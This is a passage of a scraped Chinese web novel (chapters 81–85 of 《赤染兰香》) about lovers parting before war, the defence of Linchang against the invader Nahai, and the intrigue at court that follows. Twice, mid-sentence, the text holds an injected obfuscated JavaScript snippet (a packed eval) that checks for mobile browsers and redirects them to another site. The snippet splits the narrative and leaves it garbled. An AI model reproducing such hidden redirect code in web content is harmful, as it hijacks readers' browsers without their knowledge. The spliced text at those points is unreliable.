叶阳晨记得,那是慕瑶第一次主动宽衣给自己看玲珑印,以往即便自己想要看,她也是羞涩地配合。 当慕瑶以一种准妻子的身份去做这件事时,她的心里已经没有了过多的障碍。慕瑶娇声柔语,霞飞双颊,“你看它一直都在,这个印记是属于你的,也是属于我的。你在战场上遇到危险的时候,记得想一想它。” 叶阳晨霸道地上前揽住慕瑶的纤腰,俯头吻上了玲珑印上自己的名字,嘴里深沉而又多情道:“我不仅要这个印记是我的,我还要你是我的。” 慕瑶脸颊嫣红,不禁微微合上眼,声音低得几乎听不见,“是你的,只是你的,一直是你的。要不……”太难为情了,慕瑶实在说不出口。 “要不什么?”可能是要走了,叶阳晨吻得格外用力,玲珑印越发红润。 “要不我现在就把自己给你…让我提前做你名副其实的妻子……”天知道慕瑶鼓足了多大的勇气,才能如此主动地说出这么羞人的话。 话音未落,叶阳晨感觉自己的脑子已经运转失灵了,整个人怔在那里完全无法理智思考,他甚至以为自己是幻听了,更无法确定刚刚那是不是慕瑶说的话。半晌,叶阳晨颤着声音问道:“你说的是真的?不骗我?” 慕瑶微微扭过脸去,垂下眉眼轻轻“嗯”了一声,“你把门插好,然后抱我去床榻那里。” 叶阳晨感觉心跳加快,热血腾涌,他连忙冲过去反锁屋门,然后快速将人横抱起来向慕瑶的闺床走去。每走一步,叶阳晨都觉得自己的脚有千斤重。 慕瑶搂着叶阳晨的脖颈,内心同样小鹿乱撞,心跳快到几乎不能负荷。 叶阳晨抱着慕瑶来到床榻边,然后将人慢慢放下,床帐也随之被他放了下来。 82. 第八十二章 《赤染兰香》全本免费阅读 叶阳晨脱掉慕瑶的鞋子,他的手刚放在慕瑶喜服的扣子上,恰在此时门外响起了“砰砰砰”的敲门声。那敲门声急促而有力,叶阳晨瞬间觉得很败兴,他本想置之不理,可那敲门声一直响个不停。 叶阳晨终于没有好气地喊道:“谁啊?” “哥,是我,大家都准备好了,咱们要出发了。” 叶阳晨很想说再等会儿,这时叶清扬继续说道:“我们在正门等你,你快点啊。”他的话说完,屋里才听到清扬得脚步声远去。 慕瑶见叶阳晨坐在床沿那里拧着眉头,不由得嘴角微勾,轻轻地噗嗤一笑,“都要上战场的人啦,还那么没出息,那个…早晚还不是你的。” 叶阳晨郁闷道:“可我现在就想要,这臭小子,净坏我好事。” 慕瑶眼睛含着娇媚的笑,觉得自己的男人有点孩子气,有点可爱。 两人都知道,未完之事也只有等待下次了。 叶阳晨把慕瑶的衣领重新整理好,不舍道:“那我走了?” 慕瑶咬着嘴唇点点头,哽咽道:“阳晨,我知道你武功高强,但战场刀剑无眼,你不可逞强,一定要多加小心,就当是为了我吧。你记住了吗?” “放心吧,我会记得你的话的。” “总之,如果你受了伤回来,看我饶不饶你。”说完,慕瑶枕头下下取出一个荷包,“这是我空闲时绣着玩的,你若不嫌弃,就送给你吧。”实际上这并不是慕瑶空闲时候做的,也不是她绣着玩的,是她熬了两个晚上专门为叶阳晨绣的,只是慕瑶又觉得这个荷包做得不够好,所以一直不好意思拿出来。 叶阳晨拿着荷包看了看,见红绸上面绣着白兰花,甚是好看。倏然之间,他闻到一股清香,“怎么这么香?这个香气好像是你身上的香气。” 慕瑶抿着下唇,轻声柔语,“晚上入眠时,我把它放在贴身的内衫里,故而有我身上的味道。” 叶阳晨坏笑着:“这样的话我想你的时候,闻到这香气,就仿佛你在我身边一样。” 慕瑶忽地双颊嫣红,“你不要说出来嘛。” 叶阳晨笑问:“怎么突然想起送我这个?” 慕瑶娇嗔道:“你不要问,总之以后如果你再带这种东西,就只能带我给你的,不能带别的女孩的。”说完她垂下眉眼,不好意思起来。 叶阳晨想了想,才想明白慕瑶话里的意思,原来她是吃了温映雪的醋。慕瑶并非小气之人,只是在自己爱人那里,她做不到绝对的大方。慕瑶也不喜欢爱吃醋的自己,只是爱得越深,就会越在意,控制不住的在意。 慕瑶用力扯下自己几根头发,“阳晨,你也扯下几根来。” 叶阳晨疑问着:“你这是要干什么?” “让你扯你就扯嘛,不要问的。” 叶阳晨照做,他一下扯掉很多头发。 慕瑶宠溺地瞪了叶阳晨一眼,然后浅浅一笑,“你这么用力干什么?不疼吗?还是你想都扯干净了去当和尚啊?”她边说边把自己的头发和叶阳晨的头发拧系在一起,然后放在自己绣的荷包里,然后叮嘱道:“你一定要收好它,这就更好像我在陪着你一样了。”慕瑶没有告诉叶阳晨,这样做是代表永结同心的意思。 “我会的,我一定会随身带着它。”说完,叶阳晨把荷包塞回腰间,随后用手轻轻摸了摸慕瑶的脸,然后狠了狠心转头出了屋子。 叶阳晨不敢再多逗留,那样他会忘了什么是家国责任。常听人说“温柔乡是英雄冢”,他到今天才能真正体会这句话。 出了慕瑶的院子,叶阳晨带着一队亲兵朝府门外的方向走去。 慕瑶犹豫片刻,还是换下喜服冲出了房间。待她快步赶至府门口,正好见到叶阳晨已翻身上马。 叶阳晨深情地对慕瑶挥了一下手,然后怒吼一声“驾”,便轻夹马腹纵跃而去。 叶清扬刚要跟在哥哥身后离开,这时诗怡冲出来喊住了他。诗怡走到叶清扬的马跟前,“这封信是我刚刚写的,你路上看。” 叶清扬把信接过来,紧紧攥在手里,这也是他第一次体会到与自己喜欢的人告别是这样难。叶清扬突然说道:“哦,我都忘了,我也有一件东西给你。” 诗怡含泪笑问:“什么东西?” 叶清扬跳下马,从怀里掏出一件东西递给诗怡,“给你。” 诗怡见那物件是红豆手串,她喜极而泣道:“你怎么会有这个?” “这个手串是我前些日子偷偷编的,只是忘了给你。手串上的红豆用的就是我给你栽的红豆树上的。” 诗怡会心一笑,她完全没想到自己的傻直汉子竟也有温情的一面。诗怡看着手串,上面有十二颗红豆。坦率说,这手串编得一般,吸引诗怡的是红豆上刻着八个字——“林下清风,诗文怡情”。那字迹工整,纤毫毕现。要知道,在这样小的豆子上刻字,对刀工的要求是极高的,也就是叶清扬这样玩刀玩到极致的人才能做到。 见诗怡盯着手串出神,清扬尴尬解释着:“我编得不好,你别介意。” 诗怡兀自笑着,“我觉得你能编成这样已经挺好的了。上面的八个字是你想出来的?” “嗯,我虽然没有哥哥的才华,但好歹也在山寨里读了那么多年的书,几句粗话还是写得出来的。” 诗怡温声道:“我好喜欢你写的这两句话。” “你骗我的吧?你不一直嘲笑我笨吗?” 诗怡娇俏一笑,“你平时是挺笨的,但唯独这八个字写得好。” 叶清扬沉声道:“我真的要走了。” 诗怡咬住下唇“嗯”了一声。 叶清扬再次翻身上马,随着坐骑嘶鸣,他追着队伍打马远去。望着心上人的背影,诗怡万般惆怅涌上心头。她又低头看了看手中的珠串,鼻子不禁一酸。自小诗怡生在钟鸣鼎食之家,想要什么就有什么,但她却认为这个手串却是她收过的最好的礼物,因为手串的珠子来自亲手栽种的红豆树,珠子上面的字又是清扬花了心思想出来的,这种意义自然是不一样的。 出了城,队伍休息的时候,叶清扬才打开信来看。 上面写着:“你现在有我了,以后不能再当拼命三郎喽!”诗怡心里 83. 第八十三章 此次瓦哈国首领那海亲自领军入侵,所到之处皆势如破竹。这并不是因为他的运气好,那海为这一战筹谋多年,他一直招兵买马,铸造兵器,发兵之时已准备得十分充分。多年前,卫忠海击退瓦哈国,那海就憋着一口气,就等着有朝一日卷土重来,报当日败在丰国手下之耻。 当然,明眼人都看得出来,那海这次举兵的野心不只是攻占楚州,更不是别的一城一池,那海的战刀指向的是都城临昌州,打下临昌州后,他就不再是蒙古的藩王,而是华夏之主。 这些年,那海一直在积蓄力量,现如今他觉得时机成熟了,他要在暮年之前把自己馋涎的热土收入囊中。虽然是蒙古人,但那海向往江南繁华始终多于草原狂沙。 而且那海坚信,这一次丰国没有了卫忠海这样忠臣良将,他一定可以夺下丰国的江山。只是那海作为蒙古王,不知汉语有句话,叫“江山代有才人出”。他不会想到十七年后,卫忠海的儿子在冥冥之中接过父亲的战旗,再一次担下保家卫国的重任。 形势如此严峻,离开泽清山后,叶阳晨便带着众人马不停蹄地赶路。他从西一路向东,走到一半路程的事后,便得知楚州已经陷落了。 既然楚州已经丢了,叶阳晨心知这时再赶到楚州已经没有意义了,他便带着队伍临时改道去了临昌拦截敌人。叶阳晨星夜兼程,他很怕自己还没有赶到临昌州,那海已经攻陷了临昌。 正在赶路的叶阳晨还全然不知,此时的临昌城已经一片混乱,几乎成为弃城。而这一切还要从十日前说起,楚州陷落的消息送至临昌州的当天,顺帝项靖气火攻心,加之他年事已高,在承受着巨大压力和恐惧之下,当天夜里,他便在悲愤中猝然离世。 荒谬的是,顺帝驾崩后,他的儿子,丰国的当朝太子项桓甚至不给他的父皇发丧,更是弃城里的一百二十万百姓于不顾,匆匆忙忙带着皇室及满朝文武,带着金银逃至临昌州以南的河陵。到了河陵后,项桓也并未整军备战,而是第一时间宣布自己承继皇帝位,并着即举行了隆重的登基大典。 离开临昌的时候,项桓为了保护自身的安全,把大部分守城的官兵带走了,只留下一些老弱妇孺,残兵败将在临昌城内。他把临昌城拱手送给敌人,只求一时安宁。项桓打算好了,如果蒙古人打到河陵,他再带着众人继续难逃。丰国疆域之广,项桓以为可以一城一城地跳下去,这样就可以苟延残喘许久。可是他太天真了些,蒙古人的铁蹄行军之快,并不会让他偏安太久。为了把汉人亡国灭种赶尽杀绝,胡人的战马甚至会追到天涯海角。 当然,也不是所有王公贵族和贤臣重臣都离开了临昌城,至少还有一些有气节的大臣,宁死不肯离去,他们决心与临昌州共存亡。誉国公康诚的骨头够硬,他不愿令祖上蒙羞,同样是留下守城的一位。 顺帝项靖一生共生有二十四个儿子,除去早夭最后活下来的也有十二个。而这次守卫临昌,顺帝的这些儿子中,唯一留下的只有五皇子项天,他也是皇室近亲里唯一留下的人。 或许是项天心中仅有的气节使然,或许是因为他比其他人清醒,心知若是临昌失守,即使能逃到南方更远的地方,蒙古军的铁蹄一样会追过来,到那时同样是无路可退,总之不管怎样,项天没有选择做“逃兵”。 思虑再三后,项天决定孤身抵抗蒙古军,他要留着最后的骨气和硬气,践行守国死节之志。项天何尝不知面对蒙军自己并没有太大的胜算,而且当时的他还不知道叶阳晨在赶来支援临昌州的路上,但这不妨碍他挺身守国门。 好在早在楚州城告急时,项天就开始提前在临昌城内积极布防了,好在做了一些准备,也不至于敌人来了完全措手不及。他知道在兵力不足的情况下,只有依靠城池打防御战或许尚有一丝胜算。 临昌州北门城楼上可谓步步为营,油罐和油桶依次排开,大大小小的石头堆成一座座“小山”,还有为蒙古人“准备”的各式各样的兵器和利箭。即使这样,士兵依旧不断把物资运上城墙,做好与蒙军决一死战的准备。 此外,项天还下令城内所有十六岁以上,五十岁以下的男子皆列入预备军,随时应战。虽然有些老弱残兵几乎没有什么战斗力,但到了这“最后”时刻,人少可总归寥胜于无。 那海的行进速度比项天想象得还要快,几乎在眨眼间,那海就已经兵临城下了,而此时临昌城刚刚算是布防好。并且那海老谋深算,为了不给临昌守城的官兵任何心理准备,他甚至没有安营扎寨就直接强行攻城了,这令项天措手不及。 瓦哈王这一路仗打得太顺利了,就跟游山玩水似的,他想当然地认为攻下丰国陪都临昌也就跟玩游戏似的那般轻松。可真当那海发起攻势时,他看见的是无数的箭矢朝着自己的阵营飞来。蒙古兵总算攻到城脚下,数不清的石头从城墙上滚下。 蒙古人搭云梯在城墙上,士兵前赴后继,源源不断地向上爬。项天的亲信薛亮便让守军将云梯浇上油后点燃,远远望去,城墙上出现一团团火,正在阻止敌军登城。之后,蒙古军一排排地倒下,自然,也有丰国士兵不断从城墙上掉下来。 双方的死伤越来越多,护城河里的水被鲜血染红了,但蒙军始终没能登上城墙。而城楼内的楼梯上站满了人,他们都是排队等着上城墙的士兵,队伍一直延伸到大街上。城墙上的士兵无论减员多少,就会马上补充兵丁上去多少。 仅一天内,那海就组织了十余次进攻,最后都无功而返。这场攻防战一直到第二日天明,双方都损失惨重,共死伤近万人。 那海气急败坏、大发雷霆,说不惜一切代价也要攻进城去,他是真没想到临昌的守卫竟如此顽强英勇。只是这一百步已经走了九十九步,那海怎么都不甘心倒在这最后的钉子上,他怎么都咽不下这口气。 蒙古军就用很粗的圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12904412|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木去撞击城门,可是城门里的门洞处已经塞满了沙袋,任敌军如何撞门,直至城门最后都被撞烂撞毁了,但城门始终纹丝未开。 项天死守着临昌城十二天,虽然敌军未能破城,但是守军也付出了相当大的代价,城中适龄男子几乎全部阵亡。这个时候,叶阳晨终于赶到了。 丰朝有着重文轻武的传统,开国时便如此,两百多年来,丰朝武将的数量越来越少,即使作为皇子,项天也是只有文韬,没有武略。若是叶阳晨再晚来几天的话,不仅项天会成为那海的刀下鬼,城内的将士和百姓也难逃屠戮。 叶阳晨派出去的前哨回来报,说前面的临昌州已经好像被围成铁桶一般。叶阳晨盘算着:“自己只带了两千兵力,跟敌人硬拼是没有胜算的。若想逼退那海,只有另想奇招。” 叶阳晨研究了很久的战术,他以正合,以奇胜,穿插至敌军的后方,烧毁其粮草,扰乱了敌军的部署。蒙古军不断被叶阳晨的奇兵穿插分隔,继而军心被逐渐扰乱,战斗意志也随之被削弱,那海最终成溃败之势。 虽然心有不甘,但蒙古王那海也只有带兵暂时回撤回至楚州安营休整,以期再战。 临昌保卫战总算是险胜了,双方共死伤士兵五万,其中蒙古人损兵约有三万。 项天命士兵打开城门,他身穿戎装,带着全体守城官兵,亲自迎接叶阳晨进城。 城门脚下,临昌保卫战的两位“英雄”终于碰面了。项天喜笑颜开,“阳晨,你来得太及时了,若再晚些日子,我就撑不住了。本王代表临昌城的所有百姓乃至丰国子民感激你。” “五王爷,您言重了,阳晨不敢贪功。是您深明大义,舍身为民,才得以保住临昌城未落入蒙贼手中。” 项天仰头大笑,“阳晨,你也不必自谦了,这次守住临昌,你居功至伟。本王知道是你在城外使用游击战术,这才逼得那海不得不撤兵。总之这次你我共保临昌,也算同生死,共患难了,日后我们就是肝胆相照的兄弟了。”说话时,他还拍了拍叶阳晨的肩膀以示亲近。 “好,今天我就认下你这个兄弟。”叶阳晨豪气干云,愿广结天下英杰。且他从不自轻自贱,也不觉得自己的身份地位低于任何人,所以当项天愿意与他以兄弟相称时,他也就爽快答应了。而且叶阳晨是有点欣赏项天的人格的,同样养尊处优,同样身份尊贵,他却没有选择逃离,单是这份骨气也令人敬佩。 在叶阳晨心中,项天冒死守住临昌的意义不仅仅是守住了一座城而已,更令他高兴的是,原来这个国家还没有烂到底,即使在暗夜里总能看到一点点的星星之火,令人振奋而又充满希望。 暂时打退了蒙古人,但叶阳晨心知那海不会轻易罢休,他便趁这喘息之间,建立更加牢不可破的防御工事,防止那海杀个回马枪。打防御战,叶阳晨是更加得心应手的,毕竟他曾在泽清山多次指挥兄弟们打退过官兵。 84. 第八十四章 既然临昌之围已解,叶阳晨想着也该到康诚的府邸走一走了,他是个“记仇”之人,卫泽楠骗婚的事,叶阳晨心里一直耿耿于怀,敢动自己女人的歪主意,他怎么都不会轻易善罢甘休。父债子还,这次叶阳晨回临昌,想着正好找康诚算一算这笔账,于是他直接带着一千士兵直接去找了康府。其实叶阳晨自己去,账也算得明白,他带着那么多去,就是为了以牙还牙羞辱康诚一番。 叶阳晨虽然在临昌保卫战中居功至伟,但说到底还只是个六品长史官而已,而康诚是御赐的国公身份,即使是虚衔,也是个世袭正三品的官。誉国公府的正厅还悬挂着先皇亲自手书的匾额——“赤诚辅弼”四个大字,这里不是叶阳晨可以随便造次的。 不过再显赫的府邸,叶阳晨也看不在眼里。即使人年长了些,即使读了多年圣贤书,叶阳晨有时还像脱缰的野马,骨子里依旧野性难驯,心里始终向往的快意恩仇的江湖生活。卫泽楠的事令他气不顺,叶阳晨便下令让自己的兵用力砸开誉国公府的大门。 康府的下人开门后见府邸已经被士兵围得水泄不通,不禁吓了一大跳,“你们要做什么?” 叶阳晨淡定从容地坐在马上,他的尉官上前对康府的下人吼道:“让你们大人出来,或者我们闯进去,你选一样。”叶阳晨带的兵,性格都像叶阳晨,说起话来又直又横。 康府的下人吓傻了,慌着跑进府去跟康诚禀报,“老爷,你快出府门去看看吧,大事不好了。”康诚听后眉头紧锁,立即朝着大门走去。 少顷,康诚从朱漆大门走了出来,见是叶阳晨在外边,他带着怒气道:“叶长史,这是何故啊?” 叶阳晨不把康诚放在眼里,“想找你聊聊。” “聊聊需要带这么多人来吗?聊聊需要砸门吗?”康诚带着怒气,“这毕竟是我的府邸,你这样来,有些不合适吧?” “我一个武将不懂你们文臣的规矩,砸个门而已,我觉得没什么不合适的。现在你把你的府门大敞四开,让我带的兵全部进去,否则我今天就踏平你的府邸。” 康诚异常愤怒,“叶阳晨,即使你刚刚守下临昌城,也不至于那么狂吧?”本来叶阳晨这么年轻就为国立下大功,康诚对他还是欣赏有加的,但今日叶阳晨这样的无礼行为,他还是难以接受。 康诚左思右想,也想不起来自己与叶阳晨有过什么过节,他甚至不记得自己与叶阳晨有什么来往,所以叶阳晨似是来寻仇的样子就更令康诚感到奇怪。 “人不轻狂枉少年,轻狂不行就疯癫。如果你不让我进的话,我就只有硬闯了。” 康诚强硬道:“你敢?” 叶阳晨锋芒毕露,对上康诚的眼睛,没有一丝躲闪,他微微笑着,不屑中还夹杂着狠厉,“你看我敢不敢?” 叶阳晨从不在乎别人如何评价自己,如何看待自己,他本来就是个特立独行的人。在叶阳晨心中,除了亲人手足,授业恩师,生死弟兄,最在乎的人就是林慕瑶,那个虽然“拜过堂”但还“没过门”的妻子。林慕瑶就是他的禁忌,别人不可触碰,哪怕只是言语上的不敬,叶阳晨都会失控。至于其他人,在他眼里不过是灰烟,他也从不会放在眼里。 “我有御赐的爵位,你这样硬闯,就不怕圣上治你的罪吗?”康诚见叶阳晨不是在开玩笑,语气稍稍缓和。倒也不是康诚怕了,他知道对待叶阳晨这种人,如果针尖对麦芒会适得其反。 叶阳晨脸色阴郁,“怕我就不来了。” “我想我们之间是不是有什么误会,如果有什么你可以直说,我想我应该能解释清楚误会。不过你要执意带兵入府,就只有从我身上踏过去。”康诚也是个有骨气之人,他觉得若是轻易放叶阳晨带兵闯进自己府邸,那会辱没先人,所以他定不会同意的。 叶阳晨刚想挥手让士兵闯进康府去,却突然听见远处有一洪亮的嗓子叫了一声“哥”,他侧头望过去一个男子骑马呼啸赶来。 来人正是叶清扬,他来到叶阳晨跟前,一勒缰绳,“哥,斥候回报,有重要事情。” 叶阳晨看向弟弟,清扬点了点头。叶阳晨会意,于是大喊一声:“回营。” 打马走之前,叶阳晨回头看向康诚,“康大人,下次你可能就没有那么幸运了。” 回到营地后,叶清扬把斥候带回来的消息告诉了叶阳晨,说是那海近期又蠢蠢欲动,还要伺机南下。 叶阳晨想着与其坐以待毙,不如主动出击,既然目前临昌的困境已解,他下定决心要迅速整兵去攻打楚州。 大军行至半途,连日天降暴雨,叶阳晨只好让部队停下来休整。每天暴雨滂沱,狂风肆虐,军营的帐篷被吹得摇摇晃晃。 那日,叶阳晨掀开帐帘看着外边,在这样大雨如注的天气里,他更加思绪万千。叶阳晨时而想着接下来可能发生的战事,时而思念慕瑶,希望与她早日团聚。 水雾氤氲,阻隔了叶阳晨的视线,可他还是隐隐看见一个魁梧健硕的人影在雨中挥着铁锤,好像是在加固营帐。叶阳晨见那人加固完一个,又去加固另一个。这么冷的天,此时将士们都在帐中避雨,唯独这人在雨中做着苦力,这种任劳任怨,不辞辛苦,难免勾起了叶阳晨的好奇心。 叶阳晨喜欢有责任心的人,更喜欢无私的人。他撑了把伞,朝着那名兵丁径直走了过去。随着距离渐近,叶阳晨才看清,那士兵生得面若重枣,虎眉环眼。 士兵显然没有发现身后有人来了,而是专注干他手上的活。铁锤砸击着固定帐篷用的铁钉,“铛铛铛”的声响一浪高过一浪,那力道之猛,钉子几下就被砸到泥土里。 不一会儿,这个营帐加固完了,那兵丁才直了直腰,准备去下一个营帐。他刚要往前走,一抬头看到站在自己面前的叶阳晨。 以这个兵丁的级别,他是不认识叶阳晨的。兵丁见叶阳晨铠甲披身,猜测面前的人官阶不低,于是抱拳一礼,“将军好。” 叶阳晨沉声道:“谁叫你这么做的?” 突然的一句话,那汉子被问愣住了,“什么?” “我是说谁让你加固帐篷的?” 兵丁略有惶恐之色,还以为自己这么做事犯了什么错误。怔愣片刻后,他才粗着嗓子道:“没有人让我这么做,我只是觉得这样会使帐篷稳固点,否则这样的天气,帐篷在夜里极容易被大风刮倒。战士们辛苦,我就是想让他们睡个好觉。” 叶阳晨不怒自威,“你叫什么名字?” 兵丁嗓音粗莽,“报告将军,我叫江雨宁。” “你在哪个兵营服役?” “我是辎重营的一名兵丁。”在当时士、兵、卒、丁,丁是最末级别的,通常为非战斗人员。 叶阳晨显然对此人更感兴趣了,江雨宁作为一名下等兵丁,自发任劳任怨做事,实为难得。在叶阳晨看来,这样不计得失,又有责任担当,又忠诚自律的兵丁,不该只是在辎重营出苦力,而应该被重用。 这样想着,叶阳晨发问:“你有没有什么特长?” “我…我…我只有一把子力气,没啥特长。” 叶阳晨莞尔一笑,“你跟我来。” 江雨宁不明所以,只好跟在叶阳晨身后。在这个军营里,随便一个人的级别都比他高很多,江雨宁已经习惯听命令听指挥了。 走了一段距离,叶阳晨停住脚步,指着地上的磨盘,“你能把它举起来吗?”这磨盘起码有五百公斤,叶阳晨要看看他力气有多大。 江雨宁声音粗憨,“我试试吧。”说着,他半哈腰,双手指抠住磨盘的边缘。由于太过用力,他脸上的青筋暴起,手指关节处也已发白。 只听见“啊”的一声,磨盘被江雨宁举了起来,直至举过头顶。停留了片刻后,叶阳晨才道:“放下来吧。” 磨盘咣当一声,被江雨宁砸在地上,地上也随之出现一个大坑。 叶阳晨嘴上虽未言语,但在心里还是赞叹江雨宁神力。 半晌,叶阳晨继续问道:“还有呢?” “还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915728|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?” “我是说你除了能举磨盘,还有什么本事?你别急,好好想想再说。” 江雨宁挠了挠淋湿的头,支吾了半天才说道:“我做菜也还行。”说完,还补充了一句,“不过这点本事用处不大。” 雨越下越大,叶阳晨关心道:“你去换身干爽的衣服,不要着凉,然后来中军帐找我” 江雨宁下巴几乎被惊掉,磕磕巴巴道:“中…军…帐?”他立刻明白过来能坐在中军帐中的会是什么人。 “对,我是叶阳晨。”叶阳晨看着那汉子惊愕的眼神,给了一个肯定的答复。说完,他便转身离开。 叶阳晨已经走了,江雨宁仍怔在原地,嘴巴也依然张着合不拢。他虽然没有见过叶阳晨,但叶阳晨这个响亮的名字,全军却无人不知,无人不晓。 江雨宁换了身干净的衣服,这是他唯一一件没补丁的衣服了,然后怀着忐忑地心情朝着大帐走去。忐忑并非是因为他害怕,而是自己这个不入流的小兵突然得到统帅的召见,难免有些不知所措,他甚至胡思乱想叶阳晨找自己做什么。 江雨宁站在帐外,大声道:“报告。” “进来。”叶阳晨朗声一喊。 江雨宁进了帐子,见叶阳晨正站在舆图前出神,他只能站在角落里等着,不敢发声,不敢打扰,不敢上前。 片刻后,叶阳晨才转过身来,“哦,江大哥,您坐,我们聊聊。” 江雨宁坐下后主动问道:“不知叶将军找我何事?” 叶阳晨开门见山,“江大哥,你力气大我见识了,刚刚你不是说你还会做饭吗?我觉得你就不要只待在辎重营了,火头军的事你也管了吧。”叶阳晨与人相交极看重对方人品,像江雨宁这样耿直忠诚的兵,叶阳晨觉得如果还让他默默无闻地留在辎重营里当个小兵,就太浪费人才了。叶阳晨想让江雨宁走到台前来,他要重用江雨宁。 “火头军?”江雨宁完全不敢相信。 “是啊,我看你就做个火头军首领,兼辎重营营长,换言之,你把军中的后勤都给我管了。” 话音一落,江雨宁惶恐,“火头军首领?还让我管整个军的后勤?我能行吗?” “这有什么不行的?谁做事都有第一次,况且你做事细心,成熟稳重,当然行。”叶阳晨突然一笑,“还有,我就纠正一下你的想法,谁说会做饭不重要,我认为喂饱肚子第一,这样将士才能有力气打仗。都是大老爷们,行事要痛痛快快的,更要对自己有信心。” 江雨宁也跟着憨憨一笑,“那我试试,谢谢叶帅。” “这就对了,都是男子汉,咬咬牙,什么事做不成啊?” 正事说完,叶阳晨开始随意地与江雨宁话着家常,“江大哥是哪里人?” “卫州人士。” “那你怎么会来到这么远的临昌来呢?”卫州在西北,临昌在东南,两地相隔两千里,叶阳晨觉得若非有什么事,江大哥不会来到这么远的地方。 “叶帅,实不相瞒,九年前,蒙古人侵扰卫州,我们兄妹两人为逃难南下,结果路上与妹妹走散了。从此,我跑遍了大江南北寻找妹妹,可始终没有妹妹的下落。” 叶阳晨刚想问问当年他们兄妹走散的细节,以及他妹妹的具体情况,这样的话,也好帮着找找。正在这时,丁鹏走了进来,叶阳晨想问的话便没有问出口。 就这样,江雨宁当上了火头军首领,他做的菜令将士们赞不绝口。江雨宁把菜谱下发全军,每个士兵的伙食都得到大幅提升。当然,辎重营的事也被他管理得井井有条。 常言说,兵马未动粮草先行,可见一个军队的后勤是何等重要。正因如此,必须找一个踏实、稳重、心细的人来管。 叶阳晨全军后勤的统筹工作都交到江雨宁的手里,是他对江雨宁的信任。江雨宁自然心里明白,他更时刻不敢辜负这份信任。 江雨宁为人厚道、热情,他很快也跟各个将领熟悉起来,成为了叶阳晨麾下的一名悍将。 85. 第八十五章 雨季过后,叶阳晨带着部下追赶至楚州。在与那海血战十二日后,楚州终于被夺回来了。最终,那海犁庭扫穴的梦想落空,他带着剩下的五万大军又灰溜溜地回到了北都。这一次那海出来算是无功而返,从起点出发,最后有回到了起点。 叶阳晨本想乘胜追击那海,正在这时,朝廷的圣旨到了。这么短的时间,叶阳晨守临昌,夺楚州,两立大功,献帝想对他进行表彰,就是为了面子,皇上也不得不表彰叶阳晨。当时临昌刚要被围,他就弃城而逃,是非常不得民心的,这一点他心里也是清楚的。现在那海被赶跑了,项桓总要想办法为自己往回找补找补,他想用尽一切办法树立个“明君”的形象,所以赏罚分明自然是不可少的。而且表彰功臣还有一个好处,那就是可以笼络人心,从而树立威信,巩固他的执政根基。 而叶阳晨这边总不能抗旨,于是便让芷萱和丁鹏留守在楚州,自己只带着清扬回了临昌。 自从临昌州之围解除,丰献帝项桓就带着所有人回了临昌州。毕竟,临昌作为陪都建设多年,它的位置、环境及规模都较河陵的条件好上太多。项桓是个贪图享乐之人,自然不愿在河陵多待。 回到临昌之后,项桓开始大刀阔斧地改革。为了展示自己比他的父皇更有治国的才能。献帝处处反其道而行之,凡是当初他父皇项靖做出的治国方略,他都要推翻,凡是他父皇定罪的要犯,他都要豁免,凡是项靖重用过的大臣,他都要罢黜。 不过只有太师黄魏和太保董素算是例外,一来,黄魏和董素在朝廷的根基太深,牵一发而动全身,项桓考虑到这个时期大动干戈可能会对自己的政权不利,他不敢动作太大。二来,项桓心知自己的羽翼未丰,执政经验尚浅,接下来还要仰仗黄魏和董素帮着他平稳过渡。 这样一来,黄魏和董素依旧是朝堂红人,也依然同从前一样,不可一世,作威作福。他们两个奸臣已经习惯目中无人,独享圣宠了,所以这次叶阳晨回来受赏进爵,令两人十分妒忌。 金殿庆功宴上,项桓先开金口,“叶卿,临昌楚州两战,你为国立下不世之功,朕心甚慰,所以孤要重赏于你。” 叶阳晨站起来,躬身行礼,“皇上,临昌之战,首功在五王爷,臣不敢冒领。”叶阳晨对于赏赐什么的并不怎么敢兴趣,金银珠宝他应有尽有,自然不敢兴趣,至于仕途官位,他同样看不在眼里。 项桓喜笑颜开,“叶阳晨,你不必过谦,你和五皇弟朕都要重赏的。” 叶阳晨同项天一同走上前,跪下谢恩。领恩后,他们互相笑看对方,眼神里充满了对彼此的欣赏。自从共保临昌后,两人就建立了战友般的情谊。 黄魏和董素见叶阳晨春风满面,心中的怨恨和妒忌更是入骨,或者说黄魏和董素特别嫉妒这种有着赫赫军功的人。他们正在想该怎么对付叶阳晨这个新宠,这时皇上当着百官的面,缓缓说道:“众爱卿,朕还有一件事要说。几日来,由叶阳晨保临昌之壮举,令朕想起一个人来,那就是原尚书令卫忠海。” 卫忠海一直是丰朝的禁忌,顺帝项靖活着的时候,没人敢提这个名字,所以一时间在场的所有大臣都不知道献帝项桓突然提起卫忠海要做什么。 项桓站起来,走到殿中央,沉痛道:“都过去十七年了,朕想应该还卫忠海一个公道了。当年的是是非非、对对错错,都不能抹杀卫忠海的功劳的。为了给后世一个交代,孤决定赦免他的罪行。” 话音一落,百官皆大惊失色,他们都不敢置信,项桓竟敢违背父皇项靖的旨意去赦免一个“逆犯”。 黄魏和董素更是震惊万分,他们不明白新君为卫忠海翻案的用意。两人对视一眼,神情玩味,其中还夹杂着些许不安。 